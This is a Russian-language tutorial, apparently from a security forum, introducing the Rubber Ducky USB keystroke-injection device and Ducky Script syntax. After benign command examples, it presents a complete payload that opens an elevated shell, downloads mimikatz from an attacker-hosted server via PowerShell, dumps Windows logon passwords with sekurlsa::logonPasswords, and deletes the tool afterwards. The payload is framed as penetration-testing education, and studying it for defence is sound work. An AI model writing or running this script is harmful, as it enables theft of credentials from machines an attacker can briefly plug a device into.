Rubber Ducky - Первые шаги (часть II)

Rubber Ducky - Первые шаги (часть II)

@webware

t.me/webware

Приветствую уважаемых участников и гостей форума!

В предыдущей части, мы познакомились с USB-устройством "Rubber Ducky" и рассмотрели базовые возможности девайса при проведении тестирований на проникновение, сегодня мы более подробно рассмотрим начинку "Rubber Ducky", освоим синтаксис Ducky Script, напишем первый пейлоад, и проведем простую атаку на реальном примере.


Итак, что же внутри корпуса оригинального "Rubber Ducky" от Hack5:

1. процессор Atmel 32bit 60MHz AVR на базе микроконтроллер AT32UC3B1256 с 64kb flash памятью, 32kb SRAM, скоростью передачи данных 12 Mbps и низким энергопотреблением от 23mA до 3.3 вольт

2. MicroSD card reader, для увеличения пространства внутренней памяти

3. LED-индикатор работы устройства.

4. JTAG интерфейс, который используется преимущественно для hardware-отладки

5. Стандартный USB-коннектор (type A)

Далее рассмотрим особенности и синтаксис Ducky Script - языка для программирования "Rubber Ducky".

Итак, писать скрипты на Ducky Script можно в любом тестовом редакторе, поддерживающим кодировку ASCII, например Notepad, vi, emacs, nano, gedit, kedit, TextEdit, и пр.

Синтаксис элементарен и не требует навыков программирования, каждая команда пишется CAPSом и начинается с новой строки и может иметь несколько параметров, функции большинства команд сводятся к нажатия клавиш клавиатуры/комбинации клавиш, либо вывод текста а также для имитации задержки/паузы во время нажатия клавиш.


Основные команды с примерами использования:

1. REM

Аналогично REM в Basic, строки начинающиеся с REM служат только для комментирования.

REM #Следующие 3 строки кода откроют командную строку Windows
GUI r
STRING cmd
ENTER

2. DEFAULT_DELAY или DEFAULTDELAY

Используется для определения продолжительности ожидания между каждой последующей командой со значением параметров от 0..-> в миллисекундах. В основном используется для отладки, в случаях когда целевой ОС, после подключения нашего девайса требуется время для установки драйверов.

DEFAULT_DELAY 100
REM #задержка 100 милисекунд между строками команд delays

3. DELAY

Используется для пауз при выполнении команд, когда необходимо время для обработки команд на целевой ОС. Время задержки указано в миллисекундах от 1 до 10000. Для создания более длительных задержек можно использовать несколько команд DELAY.

DELAY 500
REM #пауза 500 миллисекунд до выполнения следующей команды

4. STRING 

Строка, содержащая последовательность нажатия клавиш клавиатуры, выполняется с возможными параметрами: a...z A...Z 0..9 !...) `~ += _- "' :; <, >. ?/ \

GUI r
DELAY 500
STRING notepad.exe
ENTER
DELAY 1000
STRING Hello World!

5. WINDOWS или GUI

GUI r
REM #команда выполняет нажатие комбинации клавиш Windows+R, чтобы открыть меню "Выполнить"

6. MENU или APP

Команда открывает выпадающее контекстное меню, результат аналогичен клику правой кнопкой мыши/нажатию сочетания SHIFT+F10 в Windows системах

GUI d
MENU
STRING v
REM #переключение на рабочий стол, открытие контекстного меню и выберите команду действия v

7. SHIFT

Команда используется для навигации и выделения фрагментов тестового содержимого выполняется с возможными параметрами: DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW, TAB

SHIFT INSERT
REM #команда выполняет функцию "Вставить" для Windows систем

8. ALT

Команда выполняет функцию клавиши ALT, используется с возможными параметрами: END, ESC, F1...F12, SPACE, TAB и пр. сочетания горячих клавиш в в Windows системах.

GUI r
DELAY 50
STRING notepad.exe
ENTER
DELAY 100
STRING Hello World
ALT f
STRING s
REM #команда выполняет нажатие комбинации клавиш ALT+f и сохраняет полученый результат

9. CONTROL или CTRL

Команда выполняет нажатие клавиши CTRL с возможными параметрами: BREAK, PAUSE, F1...F12, ESCAPE, ESC и пр. сочетания горячих клавиш в в Windows системах.

CONTROL ESCAPE
REM #команда открывает меню "Пуск" в Windows

10. REPLAY

Повторяет последнюю команду n-количество раз.

SHIFT INSERT
REPLAY 100
REM #команда выполняет функцию "Вставить" 101 раз

Для компиляции скриптов, обычно используется кросплатформенная утилита на Java - Duck Encoder, которая конвертирует Ducky Script в hex формат.


Итак, с синтаксисом разобрались, теперь потренируемся и напишем первый пейлоад, и никаких "Hello World", пусть это будет простенький, но все же "боевой" прототип, использующий, хорошо известную утилиту mimikatz для извлечения хешей паролей, а также учётных данных Windows в открытом виде.


Что конкретно должен делать наш скрипт после подключения "Rubber Ducky" к USB-порту цели:

1. Открыть командную строку

2. Загрузить mimikatz с удаленного сервера, используя powershell

3. Запустить mimikatz для извлечения дампа паролей из памяти целевой машины

4. Удалить загруженный бинарник mimikatz, после извлечение дампа


Нам потребуется: 

1. Любой вебсервер, чтобы захостить mimikatz для загрузки на цель

2. Hеобходимо обладать правами администратора на целевой машине

DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 300
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://ip_сервера_с_mimikatz/host>/mimikatz.exe','%TEMP%\mimikatz.exe')
DELAY 300
ENTER
DELAY 3000
STRING %TEMP%\mimikatz.exe
DELAY 300
ENTER
DELAY 3000
STRING privilege::debug
DELAY 300
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 1000
STRING exit
DELAY 300
ENTER
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER

Скрипт, конечно же нуждается в серьезной доработке, но все же этот простой пример наглядно демонстрирует возможности языка и потенциал "Rubber Ducky" при проведении тестов на проникновение.

К тому же, большую коллекцию готовых скриптов для разных ОС можно найти по ссылке https://ducktoolkit.com/


В следующей части мы рассмотрим более сложные скрипты, поговорим о примерах использования "Rubber Ducky" в различных атаках из реальной практики.

Благодарю за внимание!

Источник codeby.net

Report Page